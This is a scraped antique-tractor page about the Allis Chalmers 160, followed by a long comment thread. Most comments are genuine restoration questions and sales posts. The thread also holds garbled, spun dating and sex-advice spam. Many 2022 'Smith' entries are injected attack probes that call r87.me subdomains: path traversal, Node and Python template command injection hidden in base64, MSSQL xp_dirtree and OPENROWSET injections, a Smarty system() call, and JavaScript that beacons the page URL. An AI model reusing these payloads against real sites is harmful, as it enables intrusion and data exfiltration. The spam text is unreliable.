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Antique Allis Chalmers Tractor: AC 160
[Allis Chalmers 160 Parts] [Return to the Shed]
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The tractor shown was built in 1970. Some of the features were live PTO, live hydraulics, a Category II 3-point hitch, a 40 HP Perkins 3-cylinder diesel engine, differential lock, power adjustable rear wheels, and power steering. Picture contributed by Rick Nikolich. |
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QineyxMC wrote on Monday, February 05, 2024 (PST):Customers eyes have been opened to the comfort of online dating, and they ve seen the value of having the ability to vet an individual s pursuits and provoke a virtual dialog earlier than making the hassle to fulfill up in individual. Some customers make the most of chat rooms, that are online rooms the place people can find other individuals with similar pursuits to chat with. Taking these precautions can assist give you the comfort you need to make sure that you have a safe and pleasurable first date. Most of our relationship stays for long term only with the help of trust. By assembly in a public place the place there may be a lot of individuals round you ll assist you re feeling more comfy and safe. If you and the rest of the others within the chat room resist by showing unfazed and transferring on with the chatting, then they wont really feel so important. There s a tremendous line between posting brief to the point messages and giving singles just an excessive amount of information to read, suppose about after which digest. 2. You profile is solution to lengthy- if you put up profiles which might be short however candy you get the eye of single ladies leaving them starving to know more about you, thereby supplying you with an opportunity to get some communication going with them, when you write a protracted drawn out profile likelihood is chances are you ll of mentioned one thing in it that turned them off with out giving you the prospect to clarify it. 2. Tell a family member or pal about your date - All the time let somebody know when and where you re going in your first date and who that particular person is that you re assembly. The flexibility of Internet users to have this conversation is a technological platform that gives an important opportunity for speaking with individuals who have a very different tradition. Pink Hat Enterprise MRG MRG includes a multi-language, multi-platform implementation of AMQP that provides enterprise degree messaging with guaranteed delivery, transaction management, queuing, distribution, security, administration and heterogeneous multi-platform help. In the Asia-Pacific area, large social messaging platforms offer fee by way of their purposes; LINE has LINE Pay, WeChat has WeChat Pay and Kakao has KakaoPay. Apart from the richness of the messages, SMS, social messaging apps and Apple Business Chat differ in different ways, too. Based mostly on the Service, the Online Dating Market is segmented into Matchmaking, Social Dating, Adult Relationship, and Area of interest Relationship. Social platform sites resembling chat or sohbet have a lot of environments the place you ll be able to socialize. I agree, and it can be great if it may go one step further and host all feedback and messages in a communal space or a spot where questions will be despatched to the right group members and answered by them. 1. Relationship Profile Choices; The courting profile of the members needs to be given with the required data that sounds real. 3. Extra Choices to qpid network Mingle; Apart from the regular chat box there must be extra options offered to members of the courting site. How to choose the precise free online dating site Proper out of the gate, the girls will imagine that you are mysterious for a reason and probably hiding something similar to being a married man or just one thing improper together with your seems. In relation to courting you seek a place where leisure is offered so for positive you would be looking for a extra interactive and simple means to search out the correct accomplice. Thankfully, there re many crucial ideas that you can consider to make your mission of online dating a more practical one, and all it require is just a few tricks time, and you ll be on your technique to discover a partner that you re all the time dreamed about. Welcome to Online Dating Security Suggestions! Security first, remember to guard yourself on-line and a great method to do that is to guard your info. Ask her what a convenient time can be for her, this manner you might be already building a consolation stage along with her. Since many online dating sites for singles have unique matchmaking features primarily based on compatibility regardless of your picture, however an excellent picture is a method people can see if there s also a spark of chemistry with you. It could be great if EPEL5 may very well be targeted as properly. That means you may get connected with Asian ladies, European women, in addition to Latino ladies! 1. Meet in Public Place - Irrespective of whether or not you have got met your date on-line or not, don t agree to be picked up at your house or meet at their home, so vital for first dates and assembly to take place in a public place corresponding to a restaurant the place you will get a feeling for that person first. 3. Provide a mutually agreed time on your first date- in the event you begin off by saying you want a late night time date your probably going to scare the ladies off and never get an opportunity for a date, we say anything after 9;00 pm will give the ladies a pink flag.
WanokfID wrote on Monday, January 29, 2024 (PST):Awkward Sex environments Even the most secure adults may end up tongue tied or at a loss for what to do sometimes. Here are six common scenes that could perhaps fluster you Or another person , And graceful ways to get out of them. Caught in the ActGetting caught within a delicate moment, automobile solo or with a partner, frequently occurs. It s best to address your humiliation head on, informs me Carole Lieberman, m. d., A mental health expert in Beverly Hills. A light response can work wonders something like, oh yeah, I thought I would definitely have some private time here, or perhaps even, We thought we were alone, Get caught by children child, basically, May interpret sexual things as Mommy and Daddy fighting, So you will need to quickly let your child know that you are playing, shows Lieberman. Older children are more clued into what are you doing and respond better to, We were showing our love for each other, And you ll get to know when you grow up, your spouse Has a FetishIf your partner makes a freaky request, determine; Are you ashamed to do it Is it not very safe If promptly. no to both, It s worthwhile to be unbiased and willing to try it, Lieberman tells people. before starting, Discuss what it s idateasia scam you don t like about the idea, And consider planning a Safe promise That lets your ex know it s time to stop. Knowing you can call a halt when you d like to may even help you enjoy it. you won t Get ArousedThese issues are normal. if you can t make a fuss about them, it is likely that, your sweet heart won t either. Hormonal changes and even cycle changes trigger a lack of vaginal moisture in women. It s truly helpful to have a lubricant on hand, says Lauren Streicher, md. She s a clinical professor of obstetrics and gynecology at Northwestern collage. Streicher says silicone based products stay longer than water based versions and thus, might need fewer arrives during intercourse . Men may lose their erection during or after brewing up a condom. Streicher s answers Use women condom instead. It offers defense against STDs, is made of a very, really quite thin, Lubricated material that will not decrease sensation, And normally, reduces erection problems, difficulties don t stop, selection, Seek a dermatologist s help. connecting With a Co WorkerOne in four people say they ve had a fling with a work colleague. Whether it s a one night stand or the start of something serious, Your other co workers may decipher it out. Be professional where you work, Because you want to avoid ugly favoritism, speaks Amy Nicole Salvaggio, phd. She s an associate professor of psychology at the University of New Haven who studies workplace romance. If things flanked by you sour, she says, Don t unload your emotions on other co workers. the amount to which you calm Will do a lot toward minimizing damage to your career or reputation, It s that period of the MonthPeriod sex can be messy, So ask your partner if they re comfortable with that, Streicher predicts. If you have to go for it, There s whilst in feel ashamed about bringing it up, Says designer Madison, A ny based relationship therapist. assert, I would die to have sex with you every day of the month. so you ll want to try having sex during my/your period probably, your wife will say yes, Sex with the ExProceed with caution. It s not usually just sex, as people often tell as well, Lieberman tells people. generally, One partner is hoping to your ex-girlfriend back, While the other is experiencing and enjoying the comfort of having sex with a familiar person. Someone is bound to get hurt, Have a frank talk with your ex before you slip in bed. Regrets get ess sealed the deal Honesty wonders for the skin policy, Madison says, furnished you re kind about it. I had a wonderful time but wouldn t like to rekindle our relationship, .
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You can meet golden-haireds, brunettes, redheads with reasonable, dark, or black skin in Brazil, but there is something they all share - they are strong and attractive, as well as they understand about it. Brazilian females are brought in to guys with a good scent, so you must have a good cologne, which can be an excellent device in attracting them. A Brazilian mail order other half will be an excellent mother.
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ChengydyGZ wrote on Friday, October 28, 2022 (PDT):So, what does the LatamDate membership resemble So, there is the Personalized templates in the expansion for conversations, which you have actually previously developed and also approved. As well as after you have finished the chat or perhaps opened and also closed the conversation room, you require to go back to the primary web page of the site as well as begin sending invites once again. Before beginning work, it is important to focus on the truth that you have conversation invites layouts approved by the website. The service is a money matchmaking site; they have actually affixed money to almost all their deals. Online Chat; A real-time messaging solution that enables members to talk promptly utilizing message, emoticons, voice messages and more. It is just one of our favorite options, which permits you to call your potential matches. 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Smith wrote on Sunday, September 18, 2022 (PDT):/../../../../../../../../../../proc/version .cgi
Smith wrote on Sunday, September 18, 2022 (PDT):/../../../../../../../../../../proc/version
Smith wrote on Sunday, September 18, 2022 (PDT):/../../../../../../../../../../proc/self/fd/2 .cgi
Smith wrote on Sunday, September 18, 2022 (PDT):/../../../../../../../../../../proc/self/fd/2
Smith wrote on Sunday, September 18, 2022 (PDT):= global.process.mainModule.require child_process .execSync Buffer bnNsb29rdXAgazh0eWJldTd1b2xmeXU4bHd0emVpZ3ZrcjFoa3B5YnF1Z3hhZXd5c3Rsby5yODcubWU= , base64 .toString
Smith wrote on Sunday, September 18, 2022 (PDT): % set d = eval __import__ base64 .urlsafe_b64decode X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYXpoMGVXSmxkVGQxYjNObWVHc3ljbTF2ZW1JNGMyaG9OWHBoWW5oeFlXbGlaM0ZwYzNwbExYZGZhUzV5T0RjdWJXVT0nKSkucmVhZCgp % % for c in .__class__.__base__.__subclasses__ % % if c.__name__ == catch_warnings % % for b in c.__init__.func_globals.values % % if b.__class__ == .__class__ % % if eval in b.keys % b eval d % endif % % endif % % endfor % % endif % % endfor %
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):arguments 1 .end require child_process .execSync set /A 268409241 - 5190
Smith wrote on Sunday, September 18, 2022 (PDT):arguments 1 .end require child_process .execSync expr 268409241 - 93164
Smith wrote on Sunday, September 18, 2022 (PDT): +print localtime 0+0xFFF9999-44378+
Smith wrote on Sunday, September 18, 2022 (PDT):-1 ;DECLARE at q varchar 999 , at r nvarchar 999 SET at q = SELECT FROM OPENROWSET SQLOLEDB , at ; a ; 1 , SELECT 1 SET at r=replace at q, at , k8tybeu7uocty2pt_afbeoywzljpvcncay0rnk3z + qi8.r87.me exec sp_executesql at r--
Smith wrote on Sunday, September 18, 2022 (PDT): +print localtime 0+0xFFF9999-51222+
Smith wrote on Sunday, September 18, 2022 (PDT):eval print localtime 0+0xFFF9999-28302
Smith wrote on Sunday, September 18, 2022 (PDT):print localtime 0+0xFFF9999-46009
Smith wrote on Sunday, September 18, 2022 (PDT):1 procedure analyse extractvalue rand ,concat 0x3a,CONCAT CHAR 95 ,CHAR 33 ,CHAR 64 ,CHAR 52 ,CHAR 100 ,CHAR 105 ,CHAR 108 ,CHAR 101 ,CHAR 109 ,CHAR 109 ,CHAR 97 ,1 -- 1
Smith wrote on Sunday, September 18, 2022 (PDT):1 exec xp_dirtree k8tybeu7uocrnd4hdzqmj9ioifs-9gbm3_xkn4pz + hji.r87.me + c a --
php Smarty_Resource;;parseResourceName system nslookup k8tybeu7uoc02fqzmw2nd5xn4xminadkic5puq3v . xwu.r87.me , b ; /php wrote on Sunday, September 18, 2022 (PDT):3
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/../../../../../../../../../../proc/version .cgi wrote on Sunday, September 18, 2022 (PDT):3
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/../../../../../../../../../../proc/version wrote on Sunday, September 18, 2022 (PDT):3
/../../../../../../../../../../proc/self/fd/2 .cgi wrote on Sunday, September 18, 2022 (PDT):3
/../../../../../../../../../../proc/self/fd/2 wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
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Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
arguments 1 .end require child_process .execSync set /A 268409241 - 29207 wrote on Sunday, September 18, 2022 (PDT):3
arguments 1 .end require child_process .execSync expr 268409241 - 84781 wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT): ;l=document.createElement link ;l.rel= prefetch ;l.href= //k8tybeu7uokv0anvynsjuoi-12v50gng_cajynwa + 5ps.r87.me/r/ +location.href;document.head.appendChild l ;//
+print localtime 0+0xFFF9999-60713+ wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT): ;l=document.createElement link ;l.rel= prefetch ;l.href= //k8tybeu7uogptkemtk2inrexhbn1eoniyxhkpcub + 0n0.r87.me/r/ +location.href;document.head.appendChild l ;//
+print localtime 0+0xFFF9999-38803+ wrote on Sunday, September 18, 2022 (PDT):3
eval print localtime 0+0xFFF9999-94675 wrote on Sunday, September 18, 2022 (PDT):3
print localtime 0+0xFFF9999-91197 wrote on Sunday, September 18, 2022 (PDT):3
1 exec xp_dirtree k8tybeu7uoocqzmqpuyqwxeloddsxvb_vk_c2n5f + t0a.r87.me + c a -- wrote on Sunday, September 18, 2022 (PDT):3
1 procedure analyse extractvalue rand ,concat 0x3a,CONCAT CHAR 95 ,CHAR 33 ,CHAR 64 ,CHAR 52 ,CHAR 100 ,CHAR 105 ,CHAR 108 ,CHAR 101 ,CHAR 109 ,CHAR 109 ,CHAR 97 ,1 -- 1 wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
;l=document.createElement link ;l.rel= prefetch ;l.href= //k8tybeu7uowsgedhldrcjanlbuxqsrm9x7pf0y30 + 5my.r87.me/r/ +location.href;document.head.appendChild l ;// wrote on Sunday, September 18, 2022 (PDT):3
;l=document.createElement link ;l.rel= prefetch ;l.href= //k8tybeu7uo0cxm1hfnn49snj26blugam9osequ2n + a2u.r87.me/r/ +location.href;document.head.appendChild l ;// wrote on Sunday, September 18, 2022 (PDT):3
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Matt Dorty wrote on Sunday, March 23, 2014 (PDT):I am parting out an SD 4 and have a few parts for an SD 2 or 3. Also looking to buy anything that is Sheppard, Tractors or engines.
jimmy wrote on Tuesday, February 18, 2014 (PST):I just picked up what I believe is a 1948 case vac tractor. That s what I was told....doesn t run the starter gear was stripped out and I was told it needs a clutch. It has good paint new plugs wires coil and ok rubber. Ive called a few local parts places for parts they said just scrap it. Any information about this tractor would be appreciated. Thanks
Robert Edwards wrote on Tuesday, November 19, 2013 (PST):I have two 1948 D leader tractors. One of the tractors will be parted out and other one will be sold minus carburator. If interested in a leader tractor or parts contact Robert E. 540-589-8901.
hal wold wrote on Monday, November 04, 2013 (PST):i have just got a cockshutt/hart parr 80 sereal # 804969KD can any one help with info. i think it was maid to run on kersene/disolit
Lyle wrote on Friday, November 01, 2013 (PDT):I just bought a GVI diesel, the batteries are missing, judging from the cables it seems there were two batteries on the right and one on the left, is that correct and are they 6 or 12 volt thanks Lyle..
david collind wrote on Tuesday, October 29, 2013 (PDT):does anybody know where i can find a set of decals for 1934 twin city kt model also a set of decals for minneapolis moline gtb thanks david
robert wilson wrote on Tuesday, October 29, 2013 (PDT):how do i tell the differance between d 12 allis chalmer series 1,2,and 3 . thank you
Ron Dwater wrote on Saturday, October 26, 2013 (PDT):Need torque spec for 730 head bolts
Terry Spangler wrote on Saturday, October 26, 2013 (PDT):Ihave a ford 8N with a Funk conversion. It has the ford flat head 226 engine, with the cast Iron pan, not the I beam type Engine runs very well, and the trans and hydro function as they should. I would like to sell this tractor for 4 K or interesting trade. Located in S E Colorado call 719-469- one 5 two 8
jason wrote on Saturday, October 26, 2013 (PDT):Wanted to buy. Super 99 oliver gas tractor. All conditions considered. Call 605 470 0489
paul wrote on Friday, October 25, 2013 (PDT):I have a 1942 W4 with the wrong rear wheels, what years did they change from a spoke style to more of a solid rim
Sandy Churchill wrote on Friday, October 25, 2013 (PDT):Does anyone out there have a one bottom plow right or left side for a 1950 Allis Chalmers G Have the tractor and are restoring it but just need the implement!
Augie Leonard wrote on Thursday, October 24, 2013 (PDT):Hello, Would like to know if the T20 s have Hydraulic remotes on them. thank you, Augie
donald haidley wrote on Wednesday, October 23, 2013 (PDT):i have a colletion of 12 name minnieapolis moline fron 1728 2 all running except a model 2 z low compresion/ 4 cyl deisel m605-/plus g 1000 6 cyl power steer all on rubber tires/ 3 fta 1936 mode-/plus fta as new with a turning brake first tried 1961 distrutor /3uts mode/-many spares fom radiator 2grills/wreking model z parted from engine will take a some of cash no gst plus freight as we have 2 on steel lugs to carry them to shows.0428718954 don haidley warwick qld aust plus a tri axle and volvo n12 with a sleeper as new.
Jeff Pulliam wrote on Wednesday, October 23, 2013 (PDT):I have a massey harris 44... I am looking for a 3 point hitch to fit this tractor... know of any
robert wrote on Monday, October 21, 2013 (PDT):I have what I believe to be a 1949-52 JD MC. Serial 19184....I dont know much about the crawler but if anyone has some information on the serial number, please forward it onto me. It runs and all, looks decent and was curious to know what the value of one of these may be. Cheers.
robert wrote on Monday, October 21, 2013 (PDT):I have what I believe to be a 1949-52 JD MC. Serial 19184....I dont know much about the crawler but if anyone has some information on the serial number, please forward it onto me. It runs and all, looks decent and was curious to know what the value of one of these may be. Cheers.
Dean Broecker wrote on Monday, October 21, 2013 (PDT):For anyone interested in my 160 tractor, below I had the incorrect e-mail, it is dbroecker at airadvantage.net the tractor is nice 5800.00 obo, thanks
Dean Broecker wrote on Monday, October 21, 2013 (PDT):I have an exact 160 like photo above for sale, almost as clean, never farmed only mowed, even turf tires, 2400hours,new hydralic pump, new batt, alt, lights all work, gages all work starts perfect, chains, front 8 blade email me if intersted, Kingston Michigan, dbroecker at airadvanttage.net
LeeAnn Reinecke wrote on Sunday, October 20, 2013 (PDT):I learned to drive on my dad s Model A. He passed away last spring and I am wondering if we should sell it or keep it for old times sake. Anyone know what it would be worth It has the sycle on the side and still runs.
Lynn Washburn wrote on Saturday, October 19, 2013 (PDT):One more comment for John on the stalling problem. I have driven 2 different farmalls that did the same thing and the guy on Sept. 28 is probabaly right. I got pretty good lining up the shifting mechanism. In addition, I found that if you try to shift with any speed it seems to happen more often. Pull the gearshift out, line things up and be really careful. Good Luck
Jeff may wrote on Tuesday, October 15, 2013 (PDT):I am looking for the sheet metal that covers gas tank on case vc tractor
Rodney Booth wrote on Tuesday, October 15, 2013 (PDT):Does anyone know what oil to use in the hydraulics on a 1950 G Will motor oil work Anyone have a front weight Thanks .
Lee wrote on Tuesday, October 15, 2013 (PDT):I have a brand new Marvel-Schebler Universal Carbureter Model TSV-54U for sale. E-mail me if you still need one in S.Africa.
Dalton wrote on Tuesday, October 15, 2013 (PDT):I have a 1966 D-17 series IV diesel and my hydraulic pump leaks. Where can I get repaired or replaced You can call me at 410-621-5321
C.Hartman wrote on Monday, October 14, 2013 (PDT):Does anyone know where I can find a D-17 that was run on tractor fuel kerosene ,it will have a small tank in hood for starting on gas.
Fred Overbay wrote on Monday, October 14, 2013 (PDT):I have a 50 s Model 40 crawler and I love to push dirt around with it. It works great for grubbing small saplings for clearing land and levelling lawns for seeding and grading gravel driveways. The cylinder that raises and lowers the blade is leaking fluid terribly bad and makes for slow work waiting on the blade to move. I took the cylinder off and took it to a parts place that I have gotten John Deere parts from in the past, but I was told today that a rebuild kit is not available from Deere now. I do not know where to turn to now. Can anyone help me Do you know of a supplier for these antique crawlers Thanks, Fred
jeff hyatt wrote on Sunday, October 13, 2013 (PDT):Hello ..i am looking for a manifold intake - exhaust and one valve rocker arm ..for a McCormick Deering 10-20..any info would be great thanks
John Bressner wrote on Friday, October 11, 2013 (PDT):Have 15-30 for sale good parts tractor rusty but pretty much all there 1500.
JESUS DELGADO wrote on Thursday, October 10, 2013 (PDT):I HAVE A IH 350 UTILITY. THE HYDRAULIC PUM IS NOT WORKING PROPERTLY. IT WORKS FOR A WHILE AND THAN IT STOPS WORKING. ANYONE KNOWS HOW TO FIX IT. WHERE IS THE HYDRAULIC PUMP
mabe wrote on Thursday, October 10, 2013 (PDT):looking for the metal that goes over the stiring wheel of a 770 oliver orchard tractor can anyone help me thanks
larry arflin wrote on Thursday, October 10, 2013 (PDT):Can anyone tell me the paint scheme for the hood. Is it all red or is it red with gray in the center
big and rich wrote on Thursday, October 10, 2013 (PDT):my name is Big and Rich and I have a F20 1939 need to know how to adjust the valves
Robby Waldkirch wrote on Wednesday, October 09, 2013 (PDT):My dad has a running 1919 8-16 International tractor he is thinking of selling. I was given a price on it but would like to know what others think it is worth.
jim wrote on Tuesday, October 08, 2013 (PDT):how do I remove boul gear from my farmall m
Jon Enns wrote on Monday, October 07, 2013 (PDT):I am currently living in Minneapolis but my Grandfather started his farm in Manitoba and my father currently farms in Saskatchewan. My father is in the process of selling his farm and his father s my grandpa s tractor was a 1939 Farmall B which he still has. I have found a 1/16th model Farmall B but wondering if anyone has ever come across model attachments. I am looking for a model 2 row corn planter and a 2 row cultivator.
John Shawver wrote on Sunday, October 06, 2013 (PDT):Need a 10x34 rim for a vac case if anybody has one. Also if any body can tell me the difference between a single and double bevel rim and if it matters witch one I get and they both will fit. Thanks
Jeff Davis wrote on Sunday, October 06, 2013 (PDT):Does anyone know what the 8-16 Slope Nose should be painted by year of manufacture
Steve Sorrells wrote on Saturday, October 05, 2013 (PDT):In the late 50 s when I was 11 or 12 Daddy had a Allis Chalmers CA a WC. After I learned to drive, he would pull a JD 4 disc tiller with the WC and I would pull one with the CA to turn land. When I got a little older I would turn land with the WC while Daddy worked a public job. I remember the WC had hand brakes only, the seat was off center to the right and the tiller had a manual lift so when you turned to the left you would reach back and grab the rope to trip the tiller lift while turning the steering wheel to the left. This would throw you even further to the right away from the left brake handle. You would have to really stretch to reach the brake lever to help with the turn. Quite a struggle for a 13 or 14 year old kid. I thought I was in heaven in 61 when he traded both in on a new JD 2010 with power steering and hydraulic connections so we could use a hydraulic cylinder lift.
Geoff Jones wrote on Wednesday, October 02, 2013 (PDT):I have a case 580k backhoe and a User Friendly CD Service Manual my question is my 580k has a slide shift foot button on floor to slide the backhoe to the right and left using the bucket to push it and also the stabiliser arms are electric over hyd the arms retract inside the body of the legs which they wont go in or out only up down I cant find any information in this manual all I can find on the machine is 580k are other models in 580k series
Don wrote on Wednesday, October 02, 2013 (PDT):I have an 880 Oliver for sale or trade.The tin is in good shape. The engine runs good, but needs a cylinder O-ring. Looking for a IH 560 with the German made diesel. Feel free to contact me at 763-447-5597 Cambridge, MN
Rolland Radunz wrote on Wednesday, October 02, 2013 (PDT):I am looking for hood for my oliver super 77, would you happen to know where I can find one
Mike Sutter wrote on Tuesday, October 01, 2013 (PDT):The Town has been offered a donation of a 1939 or 1940 Farmall B which has been restored. The tractor originally belonged to a family that farmed in our county and having it as part of the Town s Hostetler Auto Museum would be very complimentary because of its history. Our problem is determining a serial number which I understand is on a small metal plate mounted on the seat upright. It is no longer legible. There is also a number stamped on the transmission case near the gear shift. This one reads 6823-D . Can it be used as a identification number in lieu of the missing serial number
Dave Baxter wrote on Sunday, September 29, 2013 (PDT):I need information on how to hook up the governor on my 1948 Model D Leader tractor.
bernard wrote on Saturday, September 28, 2013 (PDT):This could be the anser for john,his tractor is locked up he can start the tractor in neutrol, but when you let out the clutch it kills the motor.remove the shifting leaver one shifting plate is out of line. stick a lg.screwdriver or bar click the shifting plate in line. all plates should be in line look like a u. This happens when the end of your shifting is wore.
Don Angelo wrote on Thursday, September 26, 2013 (PDT):I have a mint condition 1949 MC Crawler. The first year of the Deere-designed crawler. serial #mc-11476 It is a 2 cylinder Johnny Put Put with a factory front end bulldozer blade and a nicely built logging jammer wench on the back. everything works. Crawler has been stored in a shed. I did not repaint because I liked the old look. This is small enough to fit on a car trailer to bring to the tractor shows. I also have the original operator s manual. I was told several years ago it was worth over 10,000 but since the times are a little harder I will sell it for 7,000 I am located in North Central Wisconsin. You can email me for pictures. My Phone # is 715-339-2789 and ask for Don.
Connie Jeffries wrote on Friday, September 20, 2013 (PDT):My dad s first tractor was a 1941 Case SC, and he s now in the process of - slowly - restoring it. In seven weeks he will turn 90. I am looking for a good picture of a 41 SC with the center-mounted exhaust and lights on the fenders for two purposes. I d like to use the photo for his birthday cake and, as maudlin as it might seem, for his headstone. He had his headstone placed several weeks ago - complete with a picture of a Case tractor. But it s not his tractor because the monument company couldn t find one. He would be very surprised to see his tractor on his birthday cake - and on his headstone. Please contact me if you have a picture or if you have this model tractor and can take a picture.
steve gordon wrote on Tuesday, September 10, 2013 (PDT):looking for a starter for a 540 cocksutt delco #1108073
Dennis wrote on Monday, September 09, 2013 (PDT):Just purchased a 1066. Does anyone have a wiring diagram.
darenr wrote on Sunday, September 08, 2013 (PDT):found a 40s model c in good shape needs paint I need to know how much to offer
manuel cantu wrote on Friday, September 06, 2013 (PDT):What grade power steering fluid goes in my 550 Oliver I also need to know the grade of the transmission fluid. Thanks!
John McClain wrote on Thursday, September 05, 2013 (PDT):I think the Ferguson Pony was manufactured for a short time in the transition from Massey Harris to Massey Ferguson...I have a friend that has a Massey Harris Ferguson tractor also and I think they are rather rare! I have a Pony but don t know what year it is..I need to either rebuild or get a new steering gearbox for it.
richard wrote on Thursday, September 05, 2013 (PDT):I have a nice D-15 from ser nr. it has to serie II, it nice...no junk... I bought recently, really though I wanted one, I dont.. hehe... I even have a S-600 howse mowere deck and a mohawk push/pull blade..any one needing it let me know richard.
Darran Chandler wrote on Tuesday, September 03, 2013 (PDT):Hello, My Grandfather used a Case tractor while he was alive. It s still on the family farm rusting away. Recently someone literally busted the front iron grill to steal the radiator out of it for scrap. I m not a tractor expert, but it appears to be a 1940 s SC model No electric start. Front two wheels are close together. I grandchild would love to see somebody restore, or use it for parts instead of it rotting away. Please contact me if anybody is interested in this piece of history. And I will ask the elders if they will part with it. It appears to be intact except for busted up grill and radiator missing, and spark plug wires from cows eating them.The engine of coarse is locked up from sitting, but supposedly new liners and pistons before he passed away in mid 70 s. Thanks
wayne tanner wrote on Tuesday, August 27, 2013 (PDT):I have 1930 rock island G-2 15-25 for sale s.n. 100085 repainted and new decals runs great and looks great too. I have plowed a little with it and ran my threshing machine with it as well. if interested give me a call. 715-554-2839
Bill Garlock wrote on Monday, August 19, 2013 (PDT):I am looking for a radiator for my 1947 Oliver 70.I am finding them hard to find.Please help!!!
Steve Prissel wrote on Sunday, August 18, 2013 (PDT):My sister Melissa has the original super 55 that Dad had and we all grew up driving. I purchased my own last summer and it is in excellent running condition. I will need a new back wheel rim as it is rusted. 13 inch wide, so if anyone has a single or a pair let me know. We are going on a 50 mile cruise, benefits local charities and high schools in Ripon, WI this coming Saturday 24 August so will hopefully have a good ride. Also missing a cover plate just beneath the steering wheel on hood housing. Would like to restore but it will take time. steve
Russ wrote on Thursday, August 15, 2013 (PDT):An answer for Rowdy McMurray, the MF 253 has 45hp at the PTO. Dig online for your manuals.
Denny wrote on Wednesday, August 14, 2013 (PDT):It s a long shot,David James you wrote on Tuesday, October 02, 2007 PDT I have a friend in New Zealand,who buried her fathers samson tractor,and i know where it is, it has been underground for around 40 years dose anyone one think if it is salvagable. Make contact mt email -- munga at clear.net.nz cheers
James Kelsay wrote on Wednesday, August 14, 2013 (PDT):Need to find back tires for my 70 Oliver. The size is 12.4-40. Any help would be great!
Dave Baxter wrote on Friday, August 09, 2013 (PDT):need information on where to get parts for my Leader I believe it is a 47 or 48 Model D.
Jimmy Garst wrote on Thursday, August 08, 2013 (PDT):I have a 1955 Super 55 that has been in family for along time. I am going to start to restore and need the lid on left foot tool compartment and the front hood emblem. I have a straight pipe on it and it really sounds great. I have purchased a 1955 John Deere two cylinder gas that has been restored. Someday I will park both under the tree and drink tea. It just don t get any better. Me and the Oliver bush hog the field three times a year. Just like the quite.
Oran wrote on Wednesday, August 07, 2013 (PDT):I was wondering if anyone had a Rock Island G-2 15-25 for sell. Thanks. 812-871-6452
john nelson wrote on Sunday, August 04, 2013 (PDT):As I look through these old tractor pictures I am amazed at how many massey tractors were built. numbers I never even knew excisted.. and a four wheel drive by massey early yeared one. they were reasonable to buy and so dependable.. wonder why they cant build them that way today
Wm. Leschensky wrote on Sunday, August 04, 2013 (PDT):Where is the hydraulic fluid gauge Where do you add hydraulic fluid
carles petrie wrote on Sunday, July 28, 2013 (PDT):looking for rear rim for my leader tractor 11-2-24 ties on it thanks
Steve wrote on Monday, July 22, 2013 (PDT):I ve been fortunate enough to care for my friends ranch, over the past year or so as the family deals with the trials of life. My friend, who had to leave our province to secure work, asked me if I could look at their old tractor and perhaps get it running again. The tractor had been parked for nearly thirty years. I agreed, turns out it s a pony, with #40 mower. I tried the engine with the hand crank and it turned freely. I removed the engine cowling and blew out the top of the engine. Removed the plugs, lubricated the cylinders.. Added fuel, one of my tractor batteries, and hotwired the ignition. key was broken off inside the lock she sputtered, fired and ate my battery for breakfast. low charge Charged the battery and returned the following day. She didn t sputter.. didn t fart.. just plain fired right up and purred like a kitten..er.. pony. This prompted me to try the side mower......prompted me to research the side mower.. prompted me to use my brain to figure out that it had been re-connected simply for storage and use.. The tractor is missing some sheet metal sidecovers and battery cover aside from that what an amazing machine.. it drinks gasoline like a survival nut drinks water in the desert. very sparingly I have used all the gears and the pto, today I plan to return to the ranch and re-mount the mower. Lower field is getting really tall and I am in love with the thought of mowing that field. health issues prevented sr. from properly working the ranch Just thought I would add my story so far, to those already here. THANK YOU MH for giving my life yet another amazing experience. post script; I am purchasing this tractor from the family, so that it may remain, on the ranch where it belongs.. back in service, albeit light duty.
Dave Baxter wrote on Friday, July 12, 2013 (PDT):I just purchased a Leader tractor. I can t find the serial # where could I goo to get information about this tractor What was the original color
Dave Baxter wrote on Friday, July 12, 2013 (PDT):I just purchased a Leader tractor. I can t find the serial # where could I goo to get information about this tractor What was the original color
George wrote on Thursday, July 11, 2013 (PDT):I have a 1950 Farmall Cub Demonstrator, white by casting numbers and serial number it is a true Demo. Would like to sell since I ve been in a lot of local parades and shows. Interested let me know.
Cherika Williams wrote on Wednesday, July 10, 2013 (PDT):I know a guy that has three of these tractors. Its quite amazing. Three different years and three different engines. One even has an oiler. We take them to local shows and the attention they grab is astoshing!
Gene Langley wrote on Wednesday, July 10, 2013 (PDT):Looking for a front end loader for mu 1967 D-w5 Series II Near North Carolina
nick johnson wrote on Monday, July 08, 2013 (PDT):I was wondering if anyone knew what the A4 letters above the g1000 stood for I have a 670 that had the letters A7 above 670 also. I haven t found any info anywhere on what the letters meant, if anyone could help I would appreciate it!
Tom wrote on Friday, July 05, 2013 (PDT):I have a AC D15 series 11 gas head needs replaced. Will an AM5481 head work with an AM5253 Head 160cid engine
Tom wrote on Friday, July 05, 2013 (PDT):I have a AC D15 series 11 gas head needs replaced. Will an AM5481 head work with an AM5253 Head 160cid engine
plschaffer wrote on Wednesday, June 26, 2013 (PDT):Oliver OC6 for sale... email me
